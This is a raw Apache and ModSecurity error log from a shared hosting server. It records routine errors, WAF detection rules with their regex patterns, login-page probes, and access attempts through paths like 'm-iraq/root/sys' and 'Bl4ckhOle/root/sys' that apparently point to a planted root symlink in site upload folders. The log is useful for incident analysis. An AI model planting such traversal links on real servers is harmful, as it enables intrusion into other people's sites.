[Fri Jul 17 10:36:47.201409 2026] [security2:error] [pid 2076194:tid 2076194] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm4Z5T6UchYzP7t8WhNywAAABI"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:36:47.201439 2026] [security2:error] [pid 2076194:tid 2076194] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm4Z5T6UchYzP7t8WhNywAAABI"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:36:47.557796 2026] [core:error] [pid 2081358:tid 2081358] (13)Permission denied: [client 47.82.48.116:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:1/subsystem/ttyS1/device/driver/unbind
[Fri Jul 17 10:36:47.652650 2026] [ssl:error] [pid 2076231:tid 2076231] (70014)End of file found: [client 66.85.158.91:39624] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:49.370698 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:36:53.115903 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:48380] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:55.141770 2026] [ssl:error] [pid 2079960:tid 2079960] (70014)End of file found: [client 66.85.158.91:48438] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:55.879462 2026] [autoindex:error] [pid 2075691:tid 2075691] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-content/uploads/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:36:56.109509 2026] [ssl:error] [pid 2081387:tid 2081387] (70014)End of file found: [client 66.85.158.91:48480] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:36:56.602416 2026] [security2:error] [pid 2075904:tid 2075904] [client 37.27.129.137:0] ModSecurity: Warning. Match of "rx ^(?:(?:\\\\*|[^\\"(),\\\\/:;<=>?![\\\\x5c\\\\]{}]+)\\\\/(?:\\\\*|[^\\"(),\\\\/:;<=>?![\\\\x5c\\\\]{}]+))(?:\\\\s*+;\\\\s*+(?:(?:charset\\\\s*+=\\\\s*+(?:\\"?(?:iso-8859-15?|windows-1252|utf-8)\\\\b\\"?))|(?:(?:c(?:h(?:a(?:r(?:s(?:e[^t\\"(),\\\\/:;<=>?![\\\\x5c\\\\]{}]|[^e\\"(),/:;<=>?![\\\\x5c ..." against "REQUEST_HEADERS:Accept" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1161"] [id "920600"] [msg "Illegal Accept header: charset parameter"] [data "text/plain;text/html;q=0.9,*/*;q=0.8"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [hostname "casa18villa.com"] [uri "/robots.txt"] [unique_id "alm4cDuaDdNRw9_WO140PgAAAAg"]
[Fri Jul 17 10:36:56.603363 2026] [security2:error] [pid 2075904:tid 2075904] [client 37.27.129.137:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "casa18villa.com"] [uri "/robots.txt"] [unique_id "alm4cDuaDdNRw9_WO140PgAAAAg"]
[Fri Jul 17 10:36:57.715083 2026] [autoindex:error] [pid 2075901:tid 2075901] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:36:59.842016 2026] [security2:error] [pid 2075904:tid 2075904] [client 37.27.129.137:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "casa18villa.com"] [uri "/index.php"] [unique_id "alm4cDuaDdNRw9_WO140PgAAAAg"]
[Fri Jul 17 10:37:00.169415 2026] [ssl:error] [pid 2075908:tid 2075908] (70014)End of file found: [client 66.85.158.91:48722] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:37:01.302013 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:01.353411 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:01.784536 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:39572] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:37:01.787074 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:05.909106 2026] [ssl:error] [pid 2076231:tid 2076231] (70014)End of file found: [client 66.85.158.91:39760] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:37:07.191758 2026] [ssl:error] [pid 2075904:tid 2075904] (70014)End of file found: [client 66.85.158.91:39954] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:37:07.529381 2026] [ssl:error] [pid 2075723:tid 2075723] (70014)End of file found: [client 66.85.158.91:39984] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:37:08.731625 2026] [security2:error] [pid 2075705:tid 2075705] [client 111.223.176.227:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/images/Health System Cost for Dengue Control and Management in Colombo District, Sri Lanka in 2012.jpg"] [unique_id "alm4fPVsLAz87UqRdDoZVQAAAAA"], referer: https://www.epid.gov.lk/Publications-2/Publications-2
[Fri Jul 17 10:37:08.731855 2026] [security2:error] [pid 2075705:tid 2075705] [client 111.223.176.227:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/images/Health System Cost for Dengue Control and Management in Colombo District, Sri Lanka in 2012.jpg"] [unique_id "alm4fPVsLAz87UqRdDoZVQAAAAA"], referer: https://www.epid.gov.lk/Publications-2/Publications-2
[Fri Jul 17 10:37:09.540330 2026] [autoindex:error] [pid 2075901:tid 2075901] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:37:10.292889 2026] [ssl:error] [pid 2081358:tid 2081358] (70014)End of file found: [client 66.85.158.91:40308] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:37:10.747310 2026] [autoindex:error] [pid 2075691:tid 2075691] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:37:11.763909 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:12.113168 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:12.614420 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:12.982694 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:13.116286 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:13.616842 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:14.607577 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:14.798947 2026] [security2:error] [pid 2075908:tid 2075908] [client 111.223.176.227:0] ModSecurity: Warning. Pattern match "(?:(?:\\\\(|\\\\[)[a-zA-Z0-9_.$\\"'\\\\[\\\\](){}/*\\\\s]+(?:\\\\)|\\\\])[0-9_.$\\"'\\\\[\\\\](){}/*\\\\s]*\\\\([a-zA-Z0-9_.$\\"'\\\\[\\\\](){}/*\\\\s].*\\\\)|\\\\([\\\\s]*string[\\\\s]*\\\\)[\\\\s]*(?:\\"|'))" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "503"] [id "933210"] [msg "PHP Injection Attack: Variable Function Call Found"] [data "Matched Data: (Large)(1) found within REQUEST_FILENAME: /storage/post/images/AV4A9735 (Large)(1).JPG"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "www.epid.gov.lk"] [uri "/storage/post/images/AV4A9735 (Large)(1).JPG"] [unique_id "alm4gkj_u9-aE9qeQW0e9AAAAAk"], referer: https://www.epid.gov.lk/image-gallery/image-gallery
[Fri Jul 17 10:37:14.800668 2026] [security2:error] [pid 2075908:tid 2075908] [client 111.223.176.227:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/images/AV4A9735 (Large)(1).JPG"] [unique_id "alm4gkj_u9-aE9qeQW0e9AAAAAk"], referer: https://www.epid.gov.lk/image-gallery/image-gallery
[Fri Jul 17 10:37:14.801377 2026] [security2:error] [pid 2075908:tid 2075908] [client 111.223.176.227:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/images/AV4A9735 (Large)(1).JPG"] [unique_id "alm4gkj_u9-aE9qeQW0e9AAAAAk"], referer: https://www.epid.gov.lk/image-gallery/image-gallery
[Fri Jul 17 10:37:16.290295 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:16.393541 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:17.032082 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:17.032098 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:18.178329 2026] [security2:error] [pid 2075978:tid 2075978] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm4hmFjrl6DCT-Pyn8WaQAAAAo"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:37:18.178366 2026] [security2:error] [pid 2075978:tid 2075978] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm4hmFjrl6DCT-Pyn8WaQAAAAo"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:37:20.530630 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:20.543756 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:23.237923 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:24.473038 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:43984] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:37:24.499228 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:24.689235 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:24.728350 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:24.781896 2026] [security2:error] [pid 2075718:tid 2075718] [client 93.152.221.65:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/wp-login.php"] [unique_id "alm4jHHGgRvC9MVf3SzKWgAAAAI"]
[Fri Jul 17 10:37:24.782349 2026] [security2:error] [pid 2075718:tid 2075718] [client 93.152.221.65:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/wp-login.php"] [unique_id "alm4jHHGgRvC9MVf3SzKWgAAAAI"]
[Fri Jul 17 10:37:24.823851 2026] [security2:error] [pid 2075718:tid 2075718] [client 93.152.221.65:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm4jHHGgRvC9MVf3SzKWgAAAAI"]
[Fri Jul 17 10:37:24.974428 2026] [security2:error] [pid 2076194:tid 2076194] [client 93.152.221.65:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/wp-login.php"] [unique_id "alm4jJT6UchYzP7t8WhN4QAAABI"]
[Fri Jul 17 10:37:24.974869 2026] [security2:error] [pid 2076194:tid 2076194] [client 93.152.221.65:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/wp-login.php"] [unique_id "alm4jJT6UchYzP7t8WhN4QAAABI"]
[Fri Jul 17 10:37:25.053532 2026] [security2:error] [pid 2076194:tid 2076194] [client 93.152.221.65:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm4jJT6UchYzP7t8WhN4QAAABI"]
[Fri Jul 17 10:37:25.228935 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:25.730514 2026] [core:error] [pid 2075723:tid 2075723] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/slots/5/module/uevent
[Fri Jul 17 10:37:26.239128 2026] [core:error] [pid 2075908:tid 2075908] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:01/subsystem/drivers/system/uevent
[Fri Jul 17 10:37:26.979547 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:26.979564 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:28.630864 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:29.862730 2026] [autoindex:error] [pid 2075978:tid 2075978] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:37:30.303767 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:31.048204 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:34.671476 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:34.709545 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:36.025239 2026] [security2:error] [pid 2076188:tid 2076188] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm4mMwb7ueECO0vce5vCQAAAA8"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:37:36.025273 2026] [security2:error] [pid 2076188:tid 2076188] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm4mMwb7ueECO0vce5vCQAAAA8"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:37:37.085451 2026] [ssl:error] [pid 2075711:tid 2075711] (70014)End of file found: [client 66.85.158.91:48330] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:37:41.456991 2026] [autoindex:error] [pid 2075691:tid 2075691] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-includes/blocks/post-comments-form/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:37:42.686626 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:43082] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:37:43.435274 2026] [autoindex:error] [pid 2075723:tid 2075723] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:37:44.620228 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:43128] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:37:45.693695 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:47.484939 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:47.884737 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:49.418279 2026] [core:error] [pid 2079960:tid 2079960] (13)Permission denied: [client 47.82.48.5:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/home-cagefs\\x2dskeleton-usr-local-cpanel-etc.mount/memory.pressure_level
[Fri Jul 17 10:37:53.267040 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:54.090950 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:54.592167 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:37:54.896356 2026] [security2:error] [pid 2075691:tid 2075691] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm4qp-MjlCH45ePojRL0gAAABE"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:37:54.896397 2026] [security2:error] [pid 2075691:tid 2075691] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm4qp-MjlCH45ePojRL0gAAABE"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:37:55.092859 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:01.155105 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:01.272145 2026] [security2:error] [pid 2075711:tid 2075711] [client 18.210.190.120:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/asrgroup-global": Permission denied [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "alm4sB3_6y13_d3Np4_65wAAAAE"]
[Fri Jul 17 10:38:01.272180 2026] [security2:error] [pid 2075711:tid 2075711] [client 18.210.190.120:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/asrgroup-ip": Permission denied [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "alm4sB3_6y13_d3Np4_65wAAAAE"]
[Fri Jul 17 10:38:01.399895 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
